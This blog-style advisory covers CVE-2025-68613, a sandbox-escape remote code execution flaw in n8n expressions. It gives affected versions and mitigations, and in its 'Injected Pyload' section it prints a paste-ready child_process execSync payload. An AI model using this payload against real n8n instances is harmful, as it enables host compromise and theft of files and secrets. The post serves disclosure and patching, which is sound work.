n8n – CVE-2025-68613: Critical RCE Vulnerability

-

    A critical vulnerability (CVE-2025-68613) has been identified in n8n, the popular workflow automation tool. The flaw lies in the expression evaluation system, where user-supplied expressions can escape the sandbox and access Node.js internals. This leads to arbitrary code execution with a CVSS score of 9.9 (Critical).

    n8n is an open source workflow automation platform. Versions starting with 0.211.0 and prior to 1.120.4, 1.121.1, and 1.122.0 contain a critical Remote Code Execution (RCE) vulnerability in their workflow expression evaluation system. Under certain conditions, expressions supplied by authenticated users during workflow configuration may be evaluated in an execution context that is not sufficiently isolated from the underlying runtime. An authenticated attacker could abuse this behavior to execute arbitrary code with the privileges of the n8n process. Successful exploitation may lead to full compromise of the affected instance, including unauthorized access to sensitive data, modification of workflows, and execution of system-level operations. This issue has been fixed in versions 1.120.4, 1.121.1, and 1.122.0. Users are strongly advised to upgrade to a patched version, which introduces additional safeguards to restrict expression evaluation. If upgrading is not immediately possible, administrators should consider the following temporary mitigations: Limit workflow creation and editing permissions to fully trusted users only; and/or deploy n8n in a hardened environment with restricted operating system privileges and network access to reduce the impact of potential exploitation. These workarounds do not fully eliminate the risk and should only be used as short-term measures.

Affected Versions

  • Vulnerable: n8n < v1.122.0

  • Fixed: n8n ≥ v1.122.0


Exploitation

    Attackers with authenticated access can craft malicious expressions that invoke Node.js modules (e.g., child_process) to run system commands. This allows:

  • Execution of arbitrary OS commands

  • Access to sensitive files and environment variables

  • Full compromise of the host system


Injected Pyload

Paste this payload into the expression field: 

function() {
	return this.process.mainModule.require('child_process').execSync('whoami').toString()
}

  
  
Example: -
listing the hostname and passwd file



Mitigation

  • Upgrade immediately to v1.122.0 or later

  • Restrict access to trusted users until patched

  • Monitor logs for suspicious workflow activity

Comments

Post a Comment

Popular posts from this blog

AI Agents Assemble: The Future Just Got Smarter!

-
Image
AI Agent 🤖             An  AI Agent  is a computer program that can think and make decisions like a human. It works by observing its surroundings, deciding what to do, and then taking action. These agents are designed to solve problems, complete tasks, and even learn from their mistakes. They don’t need someone to tell them what to do every time they can work on their own. AI Agents use logic, planning, and sometimes learning to get better over time. They can respond to changes, make choices, and keep improving. In simple words, an AI Agent is a smart system that can act on its own using artificial intelligence. It behaves in a way that helps it reach its goals effectively. 1. key Features of an AI Agent:              An AI is an smart software program, that can think, learn and take actions on its own, the key features of an AI Agents includes Reasoning, Acting, Observing, Planning, Col...
Read more

Flask Cookie

-
Image
A cookie is a small piece of data stored on the user’s browser by a website. It helps websites remember user preferences, authentication status, and other session-related data. Key features of ccookies: ✅ Stored on the client-side (browser). ✅ Sent with each request to the server. ✅ Used for sessions, authentication, tracking, and personalization. ✅ Can have attributes like expiration time, HTTPOnly, Secure, and SameSite for security. 🏗 What is a Flask Cookie? A Flask cookie is a way to store data on the user’s browser using Flask’s set_cookie() method. Flask allows developers to set, read, and delete cookies easily. How Flask Uses Cookies: 1️⃣ Setting a Cookie: resp.set_cookie('key', 'value') 2️⃣ Getting a Cookie: request.cookies.get('key') 3️⃣ Deleting a Cookie: resp.set_cookie('key', '', expires=0) from flask import Flask, render_template, request, url_for, redirect, make_response, flash, session import rand...
Read more